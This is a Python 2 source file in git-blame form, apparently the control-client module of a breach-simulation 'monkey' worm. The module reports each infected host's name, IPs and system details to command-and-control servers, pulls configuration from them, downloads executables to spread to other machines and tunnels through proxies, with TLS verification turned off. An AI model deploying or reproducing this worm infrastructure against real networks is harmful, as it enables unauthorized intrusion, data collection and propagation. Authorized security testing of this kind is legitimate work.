2015-08-30 15:27:35 +08:00
|
|
|
import json
|
|
|
|
import logging
|
|
|
|
import requests
|
2015-09-29 22:58:06 +08:00
|
|
|
import platform
|
|
|
|
import monkeyfs
|
2016-06-28 16:13:24 +08:00
|
|
|
from network.info import local_ips, check_internet_access
|
2015-11-30 16:56:20 +08:00
|
|
|
from socket import gethostname
|
|
|
|
from config import WormConfiguration, GUID
|
2015-10-08 18:39:52 +08:00
|
|
|
from transport.tcp import TcpProxy
|
|
|
|
from transport.http import HTTPConnectProxy
|
|
|
|
import tunnel
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
__author__ = 'hoffer'
|
|
|
|
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
2015-09-29 22:58:06 +08:00
|
|
|
DOWNLOAD_CHUNK = 1024
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-11-30 16:56:20 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
class ControlClient(object):
|
2015-10-08 18:39:52 +08:00
|
|
|
proxies = {}
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
@staticmethod
|
2016-08-01 21:52:27 +08:00
|
|
|
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
|
2015-12-02 17:18:27 +08:00
|
|
|
LOG.debug("Trying to wake up with C&C servers list: %r" % WormConfiguration.command_servers)
|
|
|
|
if parent or default_tunnel:
|
|
|
|
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
|
|
|
|
hostname = gethostname()
|
|
|
|
if not parent:
|
|
|
|
parent = GUID
|
|
|
|
|
2016-08-01 21:52:27 +08:00
|
|
|
if has_internet_access is None:
|
|
|
|
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
2016-08-01 19:46:21 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
for server in WormConfiguration.command_servers:
|
|
|
|
try:
|
2015-11-30 20:11:19 +08:00
|
|
|
WormConfiguration.current_server = server
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-11-30 16:56:20 +08:00
|
|
|
monkey = {'guid': GUID,
|
|
|
|
'hostname': hostname,
|
|
|
|
'ip_addresses': local_ips(),
|
|
|
|
'description': " ".join(platform.uname()),
|
2016-08-01 21:52:27 +08:00
|
|
|
'internet_access': has_internet_access,
|
2015-11-30 16:56:20 +08:00
|
|
|
'config': WormConfiguration.as_dict(),
|
|
|
|
'parent': parent}
|
2015-10-08 18:39:52 +08:00
|
|
|
|
|
|
|
if ControlClient.proxies:
|
|
|
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
2015-12-02 17:18:27 +08:00
|
|
|
|
|
|
|
debug_message = "Trying to connect to server: %s" % server
|
|
|
|
if ControlClient.proxies:
|
|
|
|
debug_message += " through proxies: %s" % ControlClient.proxies
|
|
|
|
LOG.debug(debug_message)
|
2015-11-30 20:11:19 +08:00
|
|
|
reply = requests.post("https://%s/api/monkey" % (server,),
|
|
|
|
data=json.dumps(monkey),
|
|
|
|
headers={'content-type': 'application/json'},
|
|
|
|
verify=False,
|
2016-07-15 21:54:46 +08:00
|
|
|
proxies=ControlClient.proxies,
|
|
|
|
timeout=20)
|
2015-09-29 22:58:06 +08:00
|
|
|
break
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
except Exception, exc:
|
2015-12-02 17:18:27 +08:00
|
|
|
WormConfiguration.current_server = ""
|
2015-11-30 20:11:19 +08:00
|
|
|
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
if not ControlClient.proxies:
|
|
|
|
LOG.info("Starting tunnel lookup...")
|
2015-12-02 17:18:27 +08:00
|
|
|
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
2015-10-08 18:39:52 +08:00
|
|
|
if proxy_find:
|
2015-12-02 17:18:27 +08:00
|
|
|
proxy_address, proxy_port = proxy_find
|
|
|
|
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
|
|
|
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
2016-08-01 21:52:27 +08:00
|
|
|
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
|
2015-10-08 18:39:52 +08:00
|
|
|
else:
|
|
|
|
LOG.info("No tunnel found")
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
@staticmethod
|
|
|
|
def keepalive():
|
2015-10-08 18:39:52 +08:00
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
2015-10-08 18:39:52 +08:00
|
|
|
monkey = {}
|
|
|
|
if ControlClient.proxies:
|
|
|
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
2015-11-30 16:56:20 +08:00
|
|
|
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
|
|
|
data=json.dumps(monkey),
|
2015-11-30 20:11:19 +08:00
|
|
|
headers={'content-type': 'application/json'},
|
2015-11-30 16:56:20 +08:00
|
|
|
verify=False,
|
|
|
|
proxies=ControlClient.proxies)
|
2015-08-30 15:27:35 +08:00
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
2015-09-29 22:58:06 +08:00
|
|
|
WormConfiguration.current_server, exc)
|
2015-08-30 15:27:35 +08:00
|
|
|
return {}
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
@staticmethod
|
2015-11-30 20:11:19 +08:00
|
|
|
def send_telemetry(tele_type='general', data=''):
|
2015-10-08 18:39:52 +08:00
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
2015-11-30 21:29:30 +08:00
|
|
|
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data}
|
2015-11-30 16:56:20 +08:00
|
|
|
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
|
|
|
data=json.dumps(telemetry),
|
2015-11-30 20:11:19 +08:00
|
|
|
headers={'content-type': 'application/json'},
|
2015-11-30 16:56:20 +08:00
|
|
|
verify=False,
|
|
|
|
proxies=ControlClient.proxies)
|
2015-09-29 22:58:06 +08:00
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def load_control_config():
|
2015-10-08 18:39:52 +08:00
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
2015-11-30 16:56:20 +08:00
|
|
|
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
|
|
|
verify=False,
|
|
|
|
proxies=ControlClient.proxies)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
return
|
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
try:
|
2016-09-28 04:50:47 +08:00
|
|
|
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
|
2016-01-14 17:58:15 +08:00
|
|
|
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
2015-09-29 22:58:06 +08:00
|
|
|
except Exception, exc:
|
2016-01-14 17:58:15 +08:00
|
|
|
# we don't continue with default conf here because it might be dangerous
|
|
|
|
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
|
|
|
WormConfiguration.current_server, reply._content, exc)
|
|
|
|
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2016-09-28 04:50:47 +08:00
|
|
|
if unknown_variables:
|
|
|
|
ControlClient.send_config_error()
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def send_config_error():
|
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return
|
|
|
|
try:
|
|
|
|
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
|
|
|
data=json.dumps({'config_error': True}),
|
|
|
|
headers={'content-type': 'application/json'},
|
|
|
|
verify=False,
|
|
|
|
proxies=ControlClient.proxies)
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
|
|
|
return {}
|
|
|
|
|
2016-07-04 15:44:57 +08:00
|
|
|
@staticmethod
|
|
|
|
def check_for_stop():
|
|
|
|
ControlClient.load_control_config()
|
|
|
|
return not WormConfiguration.alive
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
@staticmethod
|
|
|
|
def download_monkey_exe(host):
|
2017-09-03 16:50:01 +08:00
|
|
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
|
|
|
if filename is None:
|
|
|
|
return None
|
|
|
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def download_monkey_exe_by_os(is_windows, is_32bit):
|
|
|
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
|
|
|
ControlClient.spoof_host_os_info(is_windows, is_32bit))
|
|
|
|
if filename is None:
|
|
|
|
return None
|
|
|
|
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def spoof_host_os_info(is_windows, is_32bit):
|
|
|
|
if is_windows:
|
|
|
|
os = "windows"
|
|
|
|
if is_32bit:
|
|
|
|
arc = "x86"
|
|
|
|
else:
|
|
|
|
arc = "amd64"
|
|
|
|
else:
|
|
|
|
os = "linux"
|
|
|
|
if is_32bit:
|
|
|
|
arc = "i686"
|
|
|
|
else:
|
|
|
|
arc = "x86_64"
|
|
|
|
|
|
|
|
return \
|
|
|
|
{
|
|
|
|
"os":
|
|
|
|
{
|
|
|
|
"type": os,
|
|
|
|
"machine": arc
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def download_monkey_exe_by_filename(filename, size):
|
2015-10-08 18:39:52 +08:00
|
|
|
if not WormConfiguration.current_server:
|
2017-09-03 16:50:01 +08:00
|
|
|
return None
|
|
|
|
try:
|
|
|
|
dest_file = monkeyfs.virtual_path(filename)
|
|
|
|
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
|
|
|
return dest_file
|
|
|
|
else:
|
|
|
|
download = requests.get("https://%s/api/monkey/download/%s" %
|
|
|
|
(WormConfiguration.current_server, filename),
|
|
|
|
verify=False,
|
|
|
|
proxies=ControlClient.proxies)
|
|
|
|
|
|
|
|
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
|
|
|
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
|
|
|
if chunk:
|
|
|
|
file_obj.write(chunk)
|
|
|
|
file_obj.flush()
|
|
|
|
if size == monkeyfs.getsize(dest_file):
|
|
|
|
return dest_file
|
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def get_monkey_exe_filename_and_size_by_host(host):
|
|
|
|
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return None, None
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
2015-11-30 20:11:19 +08:00
|
|
|
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
2017-09-03 16:50:01 +08:00
|
|
|
data=json.dumps(host_dict),
|
2015-11-30 20:11:19 +08:00
|
|
|
headers={'content-type': 'application/json'},
|
|
|
|
verify=False, proxies=ControlClient.proxies)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
if 200 == reply.status_code:
|
|
|
|
result_json = reply.json()
|
|
|
|
filename = result_json.get('filename')
|
|
|
|
if not filename:
|
2017-09-03 16:50:01 +08:00
|
|
|
return None, None
|
2015-09-29 22:58:06 +08:00
|
|
|
size = result_json.get('size')
|
2017-09-03 16:50:01 +08:00
|
|
|
return filename, size
|
|
|
|
else:
|
|
|
|
return None, None
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
except Exception, exc:
|
|
|
|
LOG.warn("Error connecting to control server %s: %s",
|
|
|
|
WormConfiguration.current_server, exc)
|
2017-09-03 16:50:01 +08:00
|
|
|
|
|
|
|
return None, None
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
@staticmethod
|
|
|
|
def create_control_tunnel():
|
|
|
|
if not WormConfiguration.current_server:
|
|
|
|
return None
|
|
|
|
|
|
|
|
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
|
|
|
|
if my_proxy:
|
|
|
|
proxy_class = TcpProxy
|
|
|
|
try:
|
|
|
|
target_addr, target_port = my_proxy.split(':', 1)
|
|
|
|
target_port = int(target_port)
|
|
|
|
except:
|
|
|
|
return None
|
|
|
|
else:
|
|
|
|
proxy_class = HTTPConnectProxy
|
2015-12-03 15:39:54 +08:00
|
|
|
target_addr, target_port = None, None
|
2015-10-08 18:39:52 +08:00
|
|
|
|
|
|
|
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|